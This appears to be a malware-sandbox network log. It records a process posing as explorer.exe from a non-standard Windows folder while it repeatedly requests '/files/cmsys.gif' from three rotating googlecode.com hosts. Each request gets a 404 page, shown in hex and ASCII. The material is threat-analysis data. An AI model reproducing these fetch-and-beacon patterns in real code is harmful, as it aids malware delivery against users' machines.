Oct 29, 2024 13:11:08.832148075 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:09.754590034 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:09 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:09.755464077 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	60750	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:09.973119020 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:10.897157907 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:10 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:10.897182941 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	60751	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:11.227988958 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:12.140789986 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:12 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:12.140899897 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	60753	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:14.427118063 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:15.353041887 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:15 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:15.353104115 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	60754	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:15.739763021 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:16.661036015 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:16 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:16.661093950 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	60755	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:16.882730007 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:17.794800997 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:17 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:17.794851065 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	60757	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:19.933119059 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:20.868052006 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:20 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:20.868093014 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	60758	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:21.396215916 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:22.325752020 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:22 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data 